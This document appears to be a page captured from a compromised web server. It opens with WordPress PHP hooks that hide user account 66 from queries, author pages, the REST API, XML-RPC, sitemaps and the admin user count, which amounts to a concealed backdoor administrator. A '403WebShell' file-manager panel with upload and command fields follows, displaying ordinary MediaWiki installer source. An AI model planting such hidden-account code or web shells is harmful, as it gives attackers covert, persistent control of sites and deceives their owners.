add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/installer/Task/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/installer/Task/TaskRunner.php
<?php

namespace MediaWiki\Installer\Task;

use MediaWiki\Status\Status;

/**
 * @internal For use by the installer
 */
class TaskRunner {
	/** @var TaskList|Task[] */
	private $tasks;
	/** @var TaskFactory */
	private $taskFactory;
	/** @var string */
	private $profile;
	/** @var callable[] */
	private $taskStartListeners = [];
	/** @var callable[] */
	private $taskEndListeners = [];
	/** @var array<string,bool> */
	private $skippedTasks = [];
	/** @var array<string,bool> */
	private $completedTasks = [];
	/** @var string|null */
	private $currentTaskName;

	public function __construct( TaskList $tasks, TaskFactory $taskFactory, string $profile ) {
		$this->tasks = $tasks;
		$this->taskFactory = $taskFactory;
		$this->profile = $profile;
	}

	/**
	 * Run all non-skipped tasks and return a merged Status
	 *
	 * @return Status
	 */
	public function execute() {
		$overallStatus = Status::newGood();
		$overallStatus->merge( $this->loadExtensions() );
		if ( !$overallStatus->isOK() ) {
			return $overallStatus;
		}

		/** @var Task $task */
		foreach ( $this->tasks as $task ) {
			if ( $this->isSkipped( $task ) || $this->isComplete( $task ) ) {
				continue;
			}

			$status = $this->runTask( $task );
			$overallStatus->merge( $status );

			// If we've hit some sort of fatal, we need to bail.
			// Callback already had a chance to do output above.
			if ( !$status->isOK() ) {
				break;
			}
		}
		return $overallStatus;
	}

	/**
	 * Run a single specified task (and its scheduled providers)
	 *
	 * @param string $name
	 * @return Status
	 */
	public function runNamedTask( string $name ) {
		$mainTask = $this->findNamedTask( $name );
		if ( !$mainTask ) {
			throw new \RuntimeException( "Can't find task named \"$name\"" );
		}
		$deps = (array)$mainTask->getDependencies();

		$status = Status::newGood();
		foreach ( $this->tasks as $subTask ) {
			if ( array_intersect( (array)$subTask->getProvidedNames(), $deps ) ) {
				$status->merge( $this->runTask( $subTask ) );
			}
		}
		$status->merge( $this->runTask( $mainTask ) );

		return $status;
	}

	/**
	 * Run the extensions provider (if it is registered) and load any extension tasks.
	 *
	 * @return Status
	 */
	public function loadExtensions() {
		$task = $this->findNamedTask( 'extensions' );
		if ( $task ) {
			$status = $this->runTask( $task );
			if ( $status->isOK() ) {
				$this->taskFactory->registerExtensionTasks( $this->tasks, $this->profile );
			}
		} else {
			$status = Status::newGood();
		}
		return $status;
	}

	/**
	 * @param string $name
	 * @return Task|null
	 */
	private function findNamedTask( string $name ): ?Task {
		foreach ( $this->tasks as $task ) {
			if ( $this->isSkipped( $task ) ) {
				continue;
			}

			if ( $name === $task->getName() ) {
				return $task;
			}
		}
		return null;
	}

	/**
	 * Determine whether a task is skipped
	 *
	 * @param Task $task
	 * @return bool
	 */
	private function isSkipped( Task $task ) {
		return $task->isSkipped() || isset( $this->skippedTasks[$task->getName()] );
	}

	/**
	 * Determine whether a task has already completed
	 *
	 * @param Task $task
	 * @return bool
	 */
	private function isComplete( Task $task ) {
		return isset( $this->completedTasks[$task->getName()] );
	}

	/**
	 * Run a task and call the listeners
	 *
	 * @param Task $task
	 * @return Status
	 */
	private function runTask( Task $task ) {
		$this->currentTaskName = $task->getName();
		foreach ( $this->taskStartListeners as $listener ) {
			$listener( $task );
		}

		$status = $task->execute();

		$this->completedTasks[$task->getName()] = true;
		foreach ( $this->taskEndListeners as $listener ) {
			$listener( $task, $status );
		}
		return $status;
	}

	/**
	 * Add a callback to be called before each task is executed. The callback
	 * takes one parameter: the task object.
	 */
	public function addTaskStartListener( callable $listener ) {
		$this->taskStartListeners[] = $listener;
	}

	/**
	 * Add a callback to be called after each task completes. The callback
	 * takes two parameters: the task object and the Status returned by the
	 * task.
	 */
	public function addTaskEndListener( callable $listener ) {
		$this->taskEndListeners[] = $listener;
	}

	/**
	 * Set a list of task names to be skipped
	 *
	 * @param string[] $taskNames
	 */
	public function setSkippedTasks( array $taskNames ) {
		$this->skippedTasks = array_fill_keys( $taskNames, true );
	}

	/**
	 * Get the name of the last task to start execution. This is valid during
	 * callbacks and after execute() returns.
	 *
	 * @return string|null
	 */
	public function getCurrentTaskName(): ?string {
		return $this->currentTaskName;
	}

	/**
	 * Provide a summary of the tasks to be executed, for debugging.
	 */
	public function dumpTaskList(): string {
		$ret = '';
		$i = 0;
		foreach ( $this->tasks as $task ) {
			$ret .= ( ++$i ) . '. ' . $task->getName();
			if ( $task->isSkipped() ) {
				$ret .= ' [SKIPPED]';
			}
			$ret .= ': ' . $task->getDescriptionMessage()->text();
			$ret .= "\n";
		}
		return $ret;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit